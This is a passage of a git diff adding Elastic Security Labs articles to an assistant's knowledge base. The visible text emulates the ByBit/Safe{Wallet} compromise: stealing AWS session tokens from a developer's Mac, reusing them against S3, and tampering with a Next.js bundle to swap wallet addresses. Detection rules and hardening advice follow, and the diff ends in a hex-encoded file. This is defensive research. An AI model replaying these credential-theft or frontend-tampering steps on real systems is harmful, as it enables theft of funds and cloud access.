that the developer obtained temporary AWS credentials either by the [GetSessionToken](https://docs.aws.amazon.com/STS/latest/APIReference/API_GetSessionToken.html) API operation or by logging in via AWS Single Sign-On (SSO) using the AWS CLI. Both methods result in short-lived credentials being cached locally and usable for CLI or SDK-based interactions. These temporary credentials were then likely cached in the `~/.aws` files or exported as environment variables on the macOS system. + +In the *GetSessionToken* scenario, the developer would have executed a command as such: + +```shell +aws sts get-session-token --serial-number "$ARN" --token-code "$FINAL_CODE" --duration-seconds 43200 --profile "$AWS_PROFILE" --output json +``` + +In the SSO-based authentication scenario, the developer may have run: + +```shell +aws configure sso +aws sso login -profile "$AWS_PROFILE" -use-device-code "OTP"` +``` + +Either method results in temporary credentials (access key, secret and session token) being saved in `~/.aws` files and made available to the configured AWS profile. These credentials are then used automatically by tools like the AWS CLI or SDKs like Boto3 unless overridden. In either case, if malware or an adversary had access to the developer’s macOS system, these credentials could have been easily harvested from the environment variables, AWS config cache or credentials file. + +To obtain these credentials for Developer1 were created a custom script for quick automation. It created a virtual MFA device in AWS, registered the device with our Developer1 user, then called `GetSessionToken` from STS - adding the returned temporary user session credentials to our macOS endpoint as environment variables as shown below. + +#### MFA Device Registration Attempts + +![Registering our MFA device for the developer and retrieving user session token via shellscript](/assets/images/bit-bybit/image20.png) + +One key assumption here is that the developer was working with a user session that had MFA enabled, either for direct use or to assume a custom-managed IAM role. Our assumption derives from the credential material compromised - AWS temporary user session tokens, which are not obtained from the console but rather requested on demand from STS. Temporary credentials returned from `GetSessionToken` or SSO by default expire after a certain number of hours, and a session token with the ASIA* prefix would suggest that the adversary harvested a short-lived but high-impact credential. This aligns with behaviors seen in previous DPRK-attributed attacks where credentials and configurations for Kubernetes, GCP, and AWS were extracted and reused. + +![Environment variables output of our AWS user session token after GetSessionToken call](/assets/images/bit-bybit/image11.png) + +#### Assuming the Compromised Identity on Kali + +Once the AWS session token was collected, the adversary likely stored it on their Kali Linux system either in the standard AWS credential locations (e.g., `~/.aws/credentials` or as environment variables) or potentially in a custom file structure, depending on tooling in use. While the AWS CLI defaults to reading from `~/.aws/credentials` and environment variables, a Python script leveraging Boto3 could be configured to source credentials from nearly any file or path. Given the speed and precision of the post-compromise activity, it is plausible that the attacker used either the AWS CLI, direct Boto3 SDK calls, or shell scripts wrapping CLI commands - all of which offer convenience and built-in request signing. + +What seems less likely is that the attacker manually signed AWS API requests using SigV4, as this would be unnecessarily slow and operationally complex. It’s also important to note that no public blog has disclosed which user agent string was associated with the session token usage (e.g. aws-cli, botocore, etc.), which leaves uncertainty around the attacker’s exact tools. That said, given DRPK’s established reliance on Python and the speed of the attack, CLI or SDK usage remains the most reasonable assumption. + +![MythicC2 getenv command output](/assets/images/bit-bybit/image16.png) + +**Note:** We did this in emulation with our Poseidon payload prior to Unit 42’s blog about the RN Loader capabilities. + +It’s important to clarify a nuance about the AWS authentication model: using a session token does not [inherently block access to IAM API actions](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_control-access_getsessiontoken.html) - even actions like [CreateVirtualMFADevice](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateVirtualMFADevice.html) - as long as the session was initially established with MFA. In our emulation, we attempted to replicate this behavior using a stolen session token that had MFA context. Interestingly, our attempts to register an additional MFA device failed, suggesting that there may be additional safeguards, such as explicit policy constraints, that prevent MFA registration via session tokens or the details of this behavior are still too vague and we incorrectly mimicked the behavior. While the exact failure reason remains unclear, this behavior warrants deeper investigation into the IAM policies and authentication context associated with session-bound actions. + +#### S3 Asset Enumeration + +After credential acquisition, the attacker likely enumerated accessible AWS services. In this case, Amazon S3 was a clear target. The attacker would have listed buckets available to the compromised identity across all regions and located a public-facing bucket associated with Safe\{Wallet\}, which hosted the frontend Next.js application for transaction processing. + +We assume the attacker was aware of the S3 bucket due to its role in serving content for `app.safe[.]global`, meaning the bucket's structure and assets could be publicly browsed or downloaded without authentication. In our emulation, we validated similar behavior by syncing assets from a public S3 bucket used for static site hosting. + +![Bucket containing statically hosted frontend static site assets](/assets/images/bit-bybit/image6.png) + +![Statically hosted frontend static site assets in target bucket](/assets/images/bit-bybit/image21.png) + +#### Next.js App Overwrite with Malicious Code + +After discovering the bucket, the attacker likely used the aws s3 [sync](https://docs.aws.amazon.com/cli/latest/reference/s3/sync.html) command to download the entire contents, which included the bundled frontend JavaScript assets. Between February 5 and February 19, 2025, they appeared to focus on modifying these assets - specifically, files like `main..js` and related routes, which are output by `Next.js` during its build process and stored under the `_next/static/chunks/pages/` directory. These bundled files contain the transpiled application logic, and according to Sygnia's forensic report, a file named `_app-52c9031bfa03da47.js` was the primary injection point for the malicious code. + +![Leveraging AWS CLI sync command to download bucket contents](/assets/images/bit-bybit/image23.png) + +Next.js applications, when built, typically store their statically generated assets under the `next/static/` directory, with JavaScript chunks organized into folders like `/chunks/pages/`. In this case, the adversary likely formatted and deobfuscated the JavaScript bundle to understand its structure, then reverse engineered the application logic. After identifying the code responsible for handling user-entered wallet addresses, they injected their [payload](`https[:]//web[.]archive[.]org/web/20250219172905/https[:]//app[.]safe[.]global/_next/static/chunks/pages/_app-52c9031bfa03da47[.]js`). This payload introduced conditional logic: if the entered wallet address matched one of several known target addresses, it would silently replace the destination with a DPRK-controlled address, redirecting funds without the user becoming aware. + +![](/assets/images/bit-bybit/image4.png) + +![Modifying the non-formatted bundled static site code of our own app](/assets/images/bit-bybit/image7.png) + +In our emulation, we replicated this behavior by modifying the `TransactionForm.js` component to check if the entered recipient address matched specific values. If so, the address was replaced with an attacker-controlled wallet. While this does not reflect the complexity of actual smart contract manipulation or delegate calls used in the real-world attack, it serves as conceptual behavior to illustrate how a compromised frontend could silently redirect cryptocurrency transactions. + +![Our static site frontend script pop-up notifying the target wallet address condition was met after malicious code upload](/assets/images/bit-bybit/image2.png) + +#### Static Site Tampering Implications and Missing Security Controls + +This type of frontend tampering is especially dangerous in Web3 environments, where decentralized applications (dApps) often rely on static, client-side logic to process transactions. By modifying the JavaScript bundle served from the S3 bucket, the attacker was able to subvert the application’s behavior without needing to breach backend APIs or smart contract logic. + +We assume that protections such as [S3 Object Lock](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-lock.html), Content-Security-Policy (CSP), or Subresource Integrity (SRI) headers were either not in use or not enforced during the time of compromise. The absence of these controls would have allowed an attacker to modify static frontend code without triggering browser or backend integrity validation, making such tampering significantly easier to carry out undetected. + +## Lessons in defense + +A successful emulation—or real-world incident response—doesn’t end with identifying attacker behaviors. It continues with reinforcing defenses to prevent similar techniques from succeeding again. Below, we outline key detections, security controls, mitigation strategies, and Elastic features that can help reduce risk and limit exposure to the tactics used in this emulation and in-the-wild (ItW) campaigns like the Safe\{Wallet\} compromise. + +**Note:** These detections are actively maintained and regularly tuned, and may evolve over time. Depending on your environment, additional tuning may be required to minimize false positives and reduce noise. + +## Elastic’s SIEM detection and endpoint prevention rules + +Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time. + +Once we understand adversary behavior through emulation and implement security controls to harden the environment, it’s equally important to explore detection opportunities and capabilities to identify and respond to these threats in real time. + +#### [MacOS Endpoint Behavior Prevention Rules](https://github.com/elastic/protections-artifacts/tree/main/behavior/rules/macos) + +##### Python PyYAML Deserialization Payload + +**Rule Name: “[Python Script Drop and Execute](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_python_script_drop_and_execute.md)”:** Detects when a Python script gets created or modified followed immediately by the execution of that script by the same Python process. + +##### Python Loader Script + +**Rule Name: “[Self-Deleting Python Script](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/defense_evasion_self_deleting_python_script.md)”:** Detects when a Python script executes and that script file is immediately deleted by the same Python process. + +**Rule Name: “[Self-Deleted Python Script Outbound Connection](https://github.com/elastic/detection-rules/blob/84966f02a1b71cce13db22b6c348cb46560529b7/hunting/macos/docs/defense_evasion_self_deleted_python_script_outbound_network_connection.md)”:** Detects when a Python script gets deleted and an outbound network connection occurs shortly after by the same Python process. + +##### Python Loader Script Ret == 1 + +**Rule Name: “[Suspicious Executable File Creation via Python](https://github.com/elastic/detection-rules/blob/84966f02a1b71cce13db22b6c348cb46560529b7/hunting/macos/docs/command_and_control_suspicious_executable_file_creation_via_python.md)”:** Detects when an executable file gets created or modified by Python in suspicious or unusual directories. + +**Rule Name: “[Python Library Load and Delete](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/defense_evasion_python_library_load_and_delete.md)”:** Detects when a shared library, located within the users home directory, gets loaded by Python followed by the deletion of the library shortly after by the same Python process. + +**Rule Name: “[Unusual Library Load via Python](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_unusual_library_load_via_python.md)”:** Detects when a shared library gets loaded by Python that does not denote itself as a .dylib or .so file and is located within the users home directory. + +**Rule Name: “[In-Memory JXA Execution via ScriptingAdditions](https://github.com/elastic/endpoint-rules/blob/13bad7e92e53f078b97bbeb376aedb23797be21b/rules/macos/defense_evasion_potential_in_memory_jxa_load_via_untrusted_or_unsigned_binary.toml)”:** Detects the in-memory load and execution of a JXA script. + +##### Python Loader Script Ret == 2 + +**Rule Name: “[Potential Python Stealer](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/credential_access_potential_python_stealer.md)”:** Detects when a Python script gets executed followed shortly after by at least three attempts to access sensitive files by the same Python process. + +**Rule Name: “[Self-Deleted Python Script Accessing Sensitive Files](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/defense_evasion_self_deleted_python_script_accessing_sensitive_files.md)”:** Detects when a Python script gets deleted and sensitive files are accessed shortly after by the same Python process. + +##### Python Loader Script Ret == 3 + +**Rule Name: “[Unsigned or Untrusted Binary Execution via Python](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_unsigned_or_untrusted_binary_execution_via_python.md)”:** Detects when an unsigned or untrusted binary gets executed by Python where the executable is located within a suspicious directory. + +**Rule Name: “[Unsigned or Untrusted Binary Fork via Python](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_unsigned_or_untrusted_binary_fork_via_python.md)”:** Detects when an unsigned or untrusted binary gets fork exec’d by Python where the process argument is the path to a file within the users home directory. + +**Rule Name: “[Cloud Credential Files Accessed by Process in Suspicious Directory](https://github.com/elastic/endpoint-rules/blob/13bad7e92e53f078b97bbeb376aedb23797be21b/rules/macos/credential_access_cloud_credential_file_accessed_by_untrusted_or_unsigned_process.toml)”:** Detects when cloud credentials are accessed by a process running from a suspicious directory. + +#### SIEM Detections for AWS CloudTrail Logs + +**Rule Name: “[STS Temporary IAM Session Token Used from Multiple Addresses](https://github.com/elastic/detection-rules/blob/44a2f4c41aa1482ec545f0391040e254c29a8d80/rules/integrations/aws/initial_access_iam_session_token_used_from_multiple_addresses.toml)”:** Detects AWS IAM session tokens (e.g. ASIA\*) being used from multiple source IP addresses in a short timeframe, which may indicate credential theft and reuse from adversary infrastructure. + +**Rule Name: “[IAM Attempt to Register Virtual MFA Device with Temporary Credentials](https://github.com/elastic/detection-rules/blob/2f4a310cc5d75f8d8f2a2d0f5ad5e5a4537e26a3/rules/integrations/aws/persistence_aws_attempt_to_register_virtual_mfa_device.toml)”:** Detects attempts to call CreateVirtualMFADevice or EnableMFADevice with AWS session tokens. This may reflect an attempt to establish persistent access using hijacked short-term credentials. + +**Rule Name: “[API Calls to IAM via Temporary Session Tokens](https://github.com/elastic/detection-rules/blob/b64ecc925304b492d7855d357baa6c68711eef9a/rules/integrations/aws/persistence_iam_sts_api_calls_via_user_session_token.toml)”:** Detects use of sensitive iam.amazonaws.com API operations by a principal using temporary credentials (e.g. session tokens with ASIA\* prefix). These operations typically require MFA or should only be performed via the AWS console or federated users. Not CLI or automation tokens. + +**Rule Name: “[S3 Static Site JavaScript File Uploaded via PutObject](https://github.com/elastic/detection-rules/blob/29dfe1217d1320ab400d051de377664fdbb09493/rules/integrations/aws/impact_s3_static_site_js_file_uploaded.toml)”:** Identifies attempts by IAM users to upload or modify JavaScript files in the static/js/ directory of an S3 bucket, which can signal frontend tampering (e.g. injection of malicious code) + +**Rule Name: “[AWS CLI with Kali Linux Fingerprint Identified](https://github.com/elastic/detection-rules/blob/b35f7366e92321105f61249b233f436c40b59c19/rules/integrations/aws/initial_access_kali_user_agent_detected_with_aws_cli.toml)”:** Detects AWS API calls made from a system using Kali Linux, as indicated by the user\_agent.original string. This may reflect attacker infrastructure or unauthorized access from red team tooling. + +**Rule Name: “[S3 Excessive or Suspicious GetObject Events](https://github.com/elastic/detection-rules/blob/main/hunting/aws/queries/s3_public_bucket_rapid_object_access_attempts.toml)”:** Detects a high volume of S3 GetObject actions by the same IAM user or session within a short time window. This may indicate S3 data exfiltration using tools like AWS CLI command *sync* \- particularly targeting static site files or frontend bundles. Note, this is a hunting query and should be adjusted accordingly. + +#### SIEM Detections for Docker Abuse + +**Rule Name: “[Sensitive File Access via Docker](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_suspicious_file_access_via_docker.md)”:** Detects when Docker accesses sensitive host files (“ssh”, “aws”, “gcloud”, “azure”, “web browser”, “crypto wallet files”). + +**Rule Name: “[Suspicious Executable File Modification via Docker](https://github.com/elastic/detection-rules/blob/bbfc026c95fbd9491cdbd06e779e1598ad63a31f/hunting/macos/docs/execution_suspicious_executable_file_modification_via_docker.md)”:** Detects when Docker creates or modifies an executable file within a suspicious or unusual directory. + +If your macOS agent policy includes the [Docker data integration](https://www.elastic.co/docs/reference/beats/filebeat/filebeat-input-container), you can collect valuable telemetry that helps surface malicious container activity on user systems. In our emulation, this integration allowed us to ingest Docker logs (into the metrics index), which we then used to build a detection rule capable of identifying indicators of compromise and suspicious container executions associated with the malicious application. + +![](/assets/images/bit-bybit/image17.png) + +## Mitigations + +### Social Engineering + +Social engineering plays a major role in many intrusions, but especially with the DPRK. They are highly adept at targeting and approaching their victims utilizing trusted public platforms like LinkedIn, Telegram, X or Discord to initiate contact and appear legitimate. Many of their social engineering campaigns attempt to convince the user to download and execute some kind of project, application or script whether it be out of necessity (job application), distress (debugging assistance) etc.. Mitigation of targeting that leverage social engineering is difficult and takes a concerted effort by a company to ensure their employees are regularly trained to recognize these attempts, applying the proper skepticism and caution when engaging outside entities and even the open source communities. + +* User Awareness Training +* Manual Static Code Review +* Static Code and Dependency Scanning + +Bandit ([GitHub - PyCQA/bandit: Bandit is a tool designed to find common security issues in Python code.](https://github.com/PyCQA/bandit)) is a great example of an open source tool a developer could use to scan the Python application and its scripts prior to execution in order to surface common Python security vulnerabilities or dangerous issues that may be present in the code. + +![](/assets/images/bit-bybit/image19.png) + +### Application and Device Management + +Application controls via a device management solution or a binary authorization framework like the open source tool Santa ([GitHub - northpolesec/santa: A binary and file access authorization system for macOS.](https://github.com/northpolesec/santa)) could have been used to enforce notarization and block execution from suspicious paths. This would have prevented the execution of the Poseidon payload dropped to the system for persistence, and could have prevented access to sensitive files. + +### EDR/XDR + +To effectively defend against nation-state threats—and the many other attacks targeting macOS—it's critical to have an EDR solution in place that provides rich telemetry and correlation capabilities to detect and prevent script-based attacks. Taking it a step further, an EDR platform like Elastic allows you to ingest AWS logs alongside endpoint data, enabling unified alerting and visibility through a single pane of glass. When combined with AI-powered correlation, this approach can surface cohesive attack narratives, significantly accelerating response and improving your ability to act quickly if such an attack occurs. + +![Elastic Alerts Dashboard](/assets/images/bit-bybit/image3.png) + +### AWS Credential Exposure and Session Token Hardening + +In this attack, the adversary leveraged a stolen AWS user session token (with the ASIA* prefix), which had been issued via the GetSessionToken API using MFA. These credentials were likely retrieved from the macOS developer environment — either from exported environment variables or default AWS config paths (e.g., `~/.aws/credentials`). + +To mitigate this type of access, organizations can implement the following defensive strategies: + +1. **Reduce Session Token Lifetimes and Move Away from IAM Users**: Avoid issuing long-lived session tokens to IAM users. Instead, enforce short token durations (e.g., 1 hour or less) and adopt AWS SSO (IAM Identity Center) for all human users. This makes session tokens ephemeral, auditable, and tied to identity federation. Disabling sts:GetSessionToken permissions for IAM users altogether is the strongest approach, and IAM Identity Center allows this transition. +2. **Enforce Session Context Restrictions for IAM API Usage**: Implement IAM policy condition blocks that explicitly deny sensitive IAM operations, such as *iam:CreateVirtualMFADevice* or *iam:AttachUserPolicy*, if the request is made using temporary credentials. This ensures that session-based keys, such as those used in the attack, cannot escalate privileges or modify identity constructs. +3. **Limit MFA Registration to Trusted Paths**: Block MFA device creation (*CreateVirtualMFADevice*, *EnableMFADevice*) via session tokens unless coming from trusted networks, devices, or IAM roles. Use *aws:SessionToken* or *aws:ViaAWSService* as policy context keys to enforce this. This would have prevented the adversary from attempting MFA-based persistence using the hijacked session. + +### S3 Application Layer Hardening (Frontend Tampering) + +After obtaining the AWS session token, the adversary did not perform any IAM enumeration — instead, they pivoted quickly to S3 operations. Using the AWS CLI and temporary credentials, they listed S3 buckets and modified static frontend JavaScript hosted on a public S3 bucket. This allowed them to replace the production Next.js bundle with a malicious variant designed to redirect transactions based on specific wallet addresses. + +To prevent this type of frontend tampering, implement the following hardening strategies: + +1. **Enforce Immutability with S3 Object Lock**: Enable S3 Object Lock in compliance or governance mode on buckets hosting static frontend content. This prevents overwriting or deletion of files for a defined retention period - even by compromised users. Object Lock adds a strong immutability guarantee and is ideal for public-facing application layers. Access to put new objects (rather than overwrite) can still be permitted via deployment roles. +2. **Implement Content Integrity with Subresource Integrity (SRI)**: Include SRI hashes (e.g., SHA-256) in the <script> tags within index.html to ensure the frontend only executes known, validated JavaScript bundles. In this attack, the lack of integrity checks allowed arbitrary JavaScript to be served and executed from the S3 bucket. SRI would have blocked this behavior at the browser level. +3. **Restrict Upload Access Using CI/CD Deployment Boundaries**: Developers should never have direct write access to production S3 buckets. Use separate AWS accounts or IAM roles for development and CI/CD deployment. Only OIDC-authenticated GitHub Actions or trusted CI pipelines should be permitted to upload frontend bundles to production buckets. This ensures human credentials, even if compromised, cannot poison production. +4. **Lock Access via CloudFront Signed URLs or Use S3 Versioning**: If the frontend is distributed via CloudFront, restrict access to S3 using signed URLs and remove public access to the S3 origin. This adds a proxy and control layer. Alternatively, enable S3 versioning and monitor for overwrite events on critical assets (e.g., /static/js/*.js). This can help detect tampering by adversaries attempting to replace frontend files. + +## Attack Discovery (AD) + +After completing the end-to-end attack emulation, we tested Elastic’s new AI Attack Discovery feature to see if it could connect the dots between the various stages of the intrusion. Attack Discovery integrates with an LLM of your choice to analyze alerts across your stack and generate cohesive attack narratives. These narratives help analysts quickly understand what happened, reduce response time, and gain high-level context. In our test, it successfully correlated the endpoint compromise with the AWS intrusion, providing a unified story that an analyst could use to take informed action. + +![Elastic Attack Discovery](/assets/images/bit-bybit/image10.png) + +## OSQuery + +When running Elastic Defend through Elastic Agent, you can also deploy the OSQuery Manager integration to centrally manage Osquery across all agents in your Fleet. This enables you to query host data using distributed SQL. During our testing of the Dockerized malicious application, we used OSQuery to inspect the endpoint and successfully identified the container running with privileged permissions. + +```sql +SELECT name, image, readonly_rootfs, privileged FROM docker_containers +``` + +![Elastic OSQuery Live Query](/assets/images/bit-bybit/image18.png) + +We scheduled this query to run on a recurring basis, sending results back to our Elastic Stack. From there, we built a threshold-based detection rule that alerts whenever a new privileged container appears on a user’s system and hasn’t been observed in the past seven days. + +## Conclusion + +The ByBit attack was one of the most consequential intrusions attributed to DPRK threat actors—and thanks to detailed reporting and available artifacts, it also provided a rare opportunity for defenders to emulate the full attack chain end to end. By recreating the compromise of a SAFE developer’s macOS workstation—including initial access, payload execution, and AWS pivoting—we validated our detection capabilities against real-world nation-state tradecraft. + +This emulation not only highlighted technical insights—like how PyYAML deserialization can be abused to gain initial access—but also reinforced critical lessons in operational defense: the value of user awareness, behavior-based EDR coverage, secure developer workflows, effective cloud IAM policies, cloud logging and holistic detection/response across platforms. + +Adversaries are innovating constantly, but so are defenders—and this kind of research helps tip the balance. We encourage you to follow [@elasticseclabs](https://x.com/elasticseclabs) and check out our threat research at [elastic.co/security-labs](https://www.elastic.co/security-labs) to stay ahead of evolving adversary techniques. + +Resources: + +1. [Bybit – What We Know So Far](https://www.sygnia.co/blog/sygnia-investigation-bybit-hack/) +2. [Safe.eth on X: "Investigation Updates and Community Call to Action"](https://x.com/safe/status/1897663514975649938) +3. [Cryptocurrency APT Intelligence: Unveiling Lazarus Group’s Intrusion Techniques](https://slowmist.medium.com/cryptocurrency-apt-intelligence-unveiling-lazarus-groups-intrusion-techniques-a1a6efda7d34) +4. [Slow Pisces Targets Developers With Coding Challenges and Introduces New Customized Python Malware](https://unit42.paloaltonetworks.com/slow-pisces-new-custom-malware/) +5. [Code of Conduct: DPRK’s Python-fueled intrusions into secured networks](https://www.elastic.co/security-labs/dprk-code-of-conduct) +6. [Elastic catches DPRK passing out KANDYKORN](https://www.elastic.co/security-labs/elastic-catches-dprk-passing-out-kandykorn) \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/call_stacks_no_more_free_passes_for_malware.encoded.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/call_stacks_no_more_free_passes_for_malware.encoded.md new file mode 100644 index 0000000000000..2f37871ad4a43 --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/call_stacks_no_more_free_passes_for_malware.encoded.md @@ -0,0 +1 @@ +858a029c9dc0acf038d4deab632b5fd5241f8a1f50a22f157ea68d02e66d7fa963585babfb7c65389a2a94e988b69d82bdd4ff7771169cb2cafb45eb722521c7335189f0bd5b1e423b3e99adfc9454746428a84b3bd488135588e83e6bb684e0fd1722e1d0130bcc209860fd6991b1e5fb427fdda42bcd1f0f17b0ba0ac91305fb286ce5d179e19acdd429c1e7075e7b0e2726ec1e1b5e0b92084afdfcfaedd32d86810ba259fdb4266275efb73fbf3c6e8ba01942b085b03ce6a9723544e5a7579a3775ca17192a0da3b478346d7d7ef820caab18d543ee42faa337bc4459c040cee7c6e1147865a9b7747d3229fd2d49ddc7e191251ebee5160a39b494c3bc68c3a391145c8239eff215ce61ec8079f0b05332b347ec40c6986a74973e3e1d08a7372a9cfb18e1b4cd7e4aaebbf20a1829590353492449fd4465716b70045ca19d5c5633b51c38797226690c4c385ed2fe31047bca8a66f5eb0e1d51e1326ec68e9c6068d486100a5ccc3a355ed9b5502ddcb403320c2889a5becdab6616970b2b361f7da434b35fe407b7752e1644b995de875da76157fdb3c36be2ef56bfb435d94d5e6ff577126fa0f42f71df9581419652acf0a1f25375a153a227de1b6ed56261c093a02dd921757d59e97ce218d333b5694bd06d5c275019616d1d13db5df77e97050c55cefae900b56d298a479b0a817520b3132292c5ace13cd30e3ff119ab8424259933beb7521f6b8b5362a02b285c711e9a05ed3b0c3628d0b5fd046497bcec341534c11bbc78f79fd84578a299ddefe79a073baae8d7140668e6d6f6ee2d9f468abb7af6d9f50dd3eedf70bd43951a4eb266a937dab34103550cb130384b0b5c71fccca3bca613acb1efd5819d71dd28dd58ddaead5dab865add91b19c3860cdc8bf7bc07de576afe5dbe766ade4ac9575b2d987a359585f0777c6b5743d28f7a9403a60e061c50a84fec037e184972fc48f7f4d77c1be0edd25d1af8975bafe0768c3be7b95d86df05e5f59a104a94afd252608291dce18a9f95560dd57d40c08f9bcbcceab48104801853e6c1865d7ffc0edb7204e58f9bd26bde909eff47bd0699c4ef2657946593cf1020f7155d0c58a859e15c8c647f539018e0a242b8f5f115f5feef6a66b15485bcfb476ebf05973a1d7532d6a65b92410d70b6511eb9e9a2b254702acab29a70b92e7ef4ff9f6ed5113cb582e618a4912343ccac49957f0baba6032c82435694ea1e01a76a4cada8c10d2c27999ee4eac64445da1608762e61ba7f8a224c5dc6e50052f4379b7f9a3eeb5000592abcf936f0dc2c55697c01960728d24afb4a9ea98414295089ee7315cfa9c7ba35a2b7d75a0d818a3cb2963f080d087669ec9fcc244bb810868c54f117fe3969f62029755340a6ef01eeaa629e7e68aa2ebb67fabfbfe518a4319060ba0e16bea99bf51f2dd49aa2c5783d460882f042e239d3ce5518bd2db1134f627bbe5a18e466349a8d968df21335b9eaf9bc33959d69d0d1c41f66c3e5eb591214c7ebf824e09399b6ae8c44677011c8a398248eea1d01791633919b4e520000db2ae918376e8886717e0f5c2f5e50d603f80bef43f5d29334fdeb1fb5f6b83eb8f345a930a4093f17bda974156113ccc642ee4c76a4f82260d001fdd4b07f81f65f4b7d23113e5cacd035f56a5d640d031cdaa4d600d7b1c3d769bb09bd2e790e9abdb24edfeb731cb96a1146df1adf20ac6964b071b998f87ad17c4e0fdadc72bd91c10cb0942d83219587a029b39c61478789104a78d3d61f816709fa66b8b529f25dc418b1191df17b19b3c88dca88552b8dcd32ab0e69b24952c90487cb7aa0e3cc34d43313c38e85fc57b7b78686fd58b3ab60b39ee3314e32d6dba8cbd3e6b7a747a78ee21628b6a7bf9adb1113367f1049c54dd389880d87105bcc3c15cb5c37ee52d3abd93e9a128746eb01fe5b34596d555d1ab76fb5eb1aaf2abd8c291e4990a8aa126c5315eab999a69681e4d00353993ba788ff659e541775a21b99b94e49070111a4620f546dda8bf4479c048fae4548859cf813f8f249d67d60705226f458f6cce7655d5e5cea0d76ff5d1a55bb40f257605d1ef9d00ea12fd0334cb6832e81a02c2113fb77d12addbd6bb369896958248af5cc78254eca5d8105682a27dc5532afdda78aa57a4e0a4a56258134b167ddb0d3b3d9ed596e18d511ccc74a4e666faded58d5a25579eb5989bac32273a9f013f5815783c236dbcc66ce18830bbadf46cbcd1398641228d86434e14e208e571b1be1eea4ea52e926bd75639447847c861d7283be748e20a34a14c72cb3c80fcf7e1f54da224dfdc695369715d98d1e3c96e6e3f6d8d23a87af0f9caae94620ca8da223d106e7b2e832c180b8f6611c12874ace5e1a6d49694df3cae476af313f4fdca84abbe47eeb14ac02bd8e5281d9c478b55e5906d455d633b67c4802ea7de3da765ac8d8fba1be2b969752f21e141bddc99319c0d45c84663438745c1f2f7c410c194934116830fe597df96832ab3104c9c08ad50e2b179282b1f9f3554da9a61834b0431036dced61f65856c1178b6db1e36d9a25618f0b6953aacc4bff2b42ced4906503627e1ce4d8a1101fd3cb8a17c9b7189b21db7c6a7740a485178f60d75f3bcbc57a440231309cc110084cc473ceaab649b32d30d7e4cfa3112e35cb3becb02dd116b5886b2b958fa48bc1c4fc0634a9c73019a899167c1ee92fed4619296afdf7f588ad8fc8d45706cedc20157e40cdff68f1ac2823ac9e7534f2d511090d9cefbd7a50ed3f346b7023dcbe3f0397557f925aa4fd9df884295d8ae9387445a10c379b23c96f953163070e0500d082f5aa5440476d1136644257403475f73814634b44fad1395fc46e64b4f6c19108bb8fce81b157c221ef0e5e69f61152c1e271ecbff8a563cdc2edb738bea9455be218625319791c3bfc6afe1495e102717f505d29c6772e99fd3b9aaa4b067d550bf93d24b713ad7183cd4603981830d6f15d05796700f23ca0f1d98f0642172ac5dc45089ba4554e3e3feb6537318efaa213ce941d6ba4bc50a42cb66403f45a89b1efcb1c1a34518f97611d9a6574bba3c3bc8da773b7ad93e6f91414217378ae3d96454590d8a32271c644e20af3336deb8a3cba819d0ba7eeab2c7fc911b518597993a8e9e9c93c9fdd3defd6f4e87aad041d7726ffb64f28da5687c5036a9375eac347ca83c38e41344c83ca3f7dd3f6b2467357ca1d1e1be7b280a69a2c06512321109ee52bb697015535bfdc83ff5e4ca1e4839fa528743d25f554ac46fa0105bf0a8e28adf0a08a91dc90d9cc8978d3762c05dfb25de01f4fa195e9ffe84e0f4a88bc1928d94bedc300b528396c773ea886a608faba7b5533eb3c7c8b83452eb53a0b222b9e67b465f180bfd8b0dca2594be63f2a65c8f457e72a3f825457cbcba5f31568a0cf265b97d27912763ba0510cb7a05f5e36a10b7217278991b6ad2ad87984c49823ab4736e352142ce0d49beb69f383dd8227d1fb5fa29df91baf3adf9270aca87b73702f50c81e0a4a52f2b1475bd8048904a7f3f576d476a0b887159ea9a32e8cfafe54e1ffd68bc091f65c30e5ccb4c3f277a44eb3d1bec1456ed826c01b72cb213f3d51a7117934dd5c84789e0ff240ac22a9fb6acc435dac4a43672e1c06b11472e7b9e629edea7748ea738b34588abf4165c6ad60333ed86877040ec9f9061f9a6c547f38fd10a27d6935c07f88aef87a15a55f038f0fbd0709c9905e950f4016e2b38caf2bf3ebae5ada2625d9b2bac50b749be855274a7987f8139dcc7762ee9907539bc80b43d4f87377d151250b9e399498c785ff8cffa3243c7c4eb1fca00b945416eca456ba8c7fae09ffbde217650a1663e91b12844f3fb8ddb55f639b9a0b9458af7de02581fea575ca409b13f158f38484db53e3e1913042debed2e429e6bd37db05ddab0b62e91bf07803415fd12684a372f69e94f0b4ce1a74d87357e437d4619e877fd962cd3d9d942a527b201186978fb9f812af8880f40304755eaa9bbdaa42f42e292079663136e7091963a20f0f01156b476c48461d9adfbd903e9c7c77b11837832585d654c0ef0a7f602fd3cecbd594312b386a280575323187593462c3cd65bc37e6c9c9cd3e5e2423a08ca8af001c25c8f7e96f7841a49f0fa26d6dfaab1652b017fe9eecd066151de2c917ffe9e4c0d5e255fd9796ee427711eb5feaa41923e660477b1652c49cb337e5672ffe5b522e1e18a3dab5e9f5d068d11115e1d2fb001f1219d97de4a94b4942c45e5a7ce3432b46036b0b0e931248f622b11757944e3b7491f3337cc27a56ebd28564ec950b410c78d5a745116060d5465d8cb7821271ab349be3de30f5f730856